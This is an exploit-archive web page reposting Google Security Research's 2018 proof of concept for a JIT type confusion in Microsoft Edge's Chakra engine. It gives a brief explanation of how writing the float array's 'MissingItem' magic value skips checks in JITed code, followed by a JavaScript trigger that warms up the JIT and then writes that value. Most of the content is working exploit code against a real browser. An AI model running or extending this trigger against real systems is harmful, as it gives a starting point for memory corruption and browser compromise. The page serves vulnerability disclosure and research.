首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge Chakra JIT - Magic Value Type Confusion
来源:Google Security Research 作者:Google 发布时间:2018-05-23  
/*
BOOL JavascriptNativeFloatArray::SetItem(uint32 index, double dValue)
{
    if (*(uint64*)&dValue == *(uint64*)&JavascriptNativeFloatArray::MissingItem)
    {
        JavascriptArray *varArr = JavascriptNativeFloatArray::ToVarArray(this);
        varArr->DirectSetItemAt(index, JavascriptNumber::ToVarNoCheck(dValue, GetScriptContext()));
        return TRUE;
    }
 
    this->DirectSetItemAt<double>(index, dValue);
    return TRUE;
}
 
As you can see above, if the double value given as the parameter equals to JavascriptNativeFloatArray::MissingItem, it converts the float array to a var array. Since the input value is not checked in the JITed code, it can lead to type confusion.
*/
 
function opt(arr, value) {
    arr[1] = value;
    arr[0] = 2.3023e-320;
}
 
function main() {
    for (let i = 0; i < 0x10000; i++)
        opt([1.1], 2.2);
 
    let arr = [1.1];
    opt(arr, -5.3049894784e-314);  // MAGIC VALUE!
 
    print(arr);
}
 
main();
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Siemens SIMATIC S7-1500 CPU -
·AMD / ARM / Intel - Speculativ
·Adobe Experience Manager (AEM)
·Linux 4.4.0 < 4.4.0-53 - AF_PA
·R 3.4.4 - Local Buffer Overflo
·FTPShell Server 6.80 - Buffer
·Linux 2.6.30 < 2.6.36-rc8 - Re
·FTPShell Server 6.80 - Denial
·GitBucket 4.23.1 - Remote Code
·Siemens SCALANCE S613 - Remote
·Easy MPEG to DVD Burner 1.7.11
·Microsoft Internet Explorer 11
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved